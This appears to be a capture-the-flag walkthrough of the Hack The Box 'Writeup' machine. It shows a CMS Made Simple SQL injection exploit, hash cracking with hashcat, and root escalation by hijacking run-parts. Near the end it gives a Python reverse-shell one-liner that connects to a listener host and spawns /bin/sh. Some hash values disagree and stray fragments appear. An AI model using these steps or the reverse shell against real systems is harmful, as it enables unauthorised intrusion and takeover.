

We start off as always with a nmap scan to see what kind of ports are open

```
nmap -sC -sV -A 10.10.10.138
```

```
CRACKMAP
Abhinavs-MacBook-Pro:~ luckyster895$ nmap -sC -sV -A 10.10.10.138
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for 10.10.10.138
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256  37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
|_ http-robots.txt: 1 disallowed entry
|_ /writeup/
|_ http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.27 seconds
```

All we get is a SSH and Apache. So starting with port 80





<http://10.10.10.138/writeup/>

we need to find in order to exploit it.

If we use wappalyzer it tells us that its made of 'CMS made simple'






Wappalyzer


CMS	Programming Language
 CMS Made Simple	 PHP
Web Server	Operating System
 Apache 2.4.25	 Debian

We can then use searchsploit and Google search to find any exploits for these that runs through a website

<https://www.exploit-db.com/exploits/46635>

CMS Made Simple < 2.2.10 - SQL Injection

EDB-ID: 46635	CVE: 2019-9053	Author: DANIELE SCANU	Type: WEBAPPS	Platform: PHP	Date: 2019-04-02
EDB Verified: ✗		Exploit:  / 		Vulnerable App: 	



Usage:

```
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
```

```

print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."

exit()

```

It can use -u for url -w for wordlist and -c for crack

Python 46635.py -u <http://10.10.10.138/writeup/> -c -w rockyou.txt

```

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[*] Try: 62def4866937f08cc13bab43bb14e6f7I

```

Now in my case password is not cracked by script so I use hashcat on -m 20 with

```
HASH=62def4866937f08cc13bab43bc5y4:5a599ef579066807
```

```

62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
php-reverse-shell.php --MACOSX
Session.....: hashcat
Status.....: Cracked
Hash.Type.....: md5($salt.$pass)
Hash.Target.....: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Time.Started.....: Tue Jul 30 12:38:31 2019 (2 secs)
Time.Estimated...: Tue Jul 30 12:38:33 2019 (0 secs)
Guess.Base.....: File (/root/Downloads/rockyou(1).txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1870.1 kH/s (0.45ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.....: 4360192/14344384 (30.40%)
Rejected.....: 0/4360192 (0.00%)
Restore.Point....: 4358144/14344384 (30.38%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: raynerito -> raygan7

```

We then a cracked password ‘**raykayjay9**’ After that we can connect the box ssh and get user

```
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  4 10:54:19 2019 from 10.10.13.219
jkr@writeup:~$ l
-bash: l: command not found
jkr@writeup:~$ ls
45818 kvm_fd_install linux-exploit-suggester.sh user.txt
jkr@writeup:~$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978
jkr@writeup:~$
```

User: d4e493fd4068afc9eb1*****

Now getting into Root

use pspy64

After observing here for a while you find that a script is running

```
UID=0  PID=3321  | sshd: jkr [priv]
UID=0  PID=3322  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/
UID=0  PID=3323  |
UID=0  PID=3324  | /bin/sh /etc/update-motd.d/10-uname
UID=0  PID=3325  | sshd: jkr [priv]
UID=1000 PID=3326  | sshd: jkr@pts/16
```

This is run-parts and that is located in a PATH, This run-parts is writable from the user and executed by root

So we just write to that with a reverse shell exploit.

Python -c 'import

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.85",1234));os.dup
2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

Just change my ip address with yours and on another tab use netcat

nc -lvp 1234

Now open another tab and access ssh again so we got reverse shell as root on netcat tab

```
# uname -a
Linux writeup 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux
# whoami
root
# pwd
/root
```

Root: ee47f60b48ef92b7*****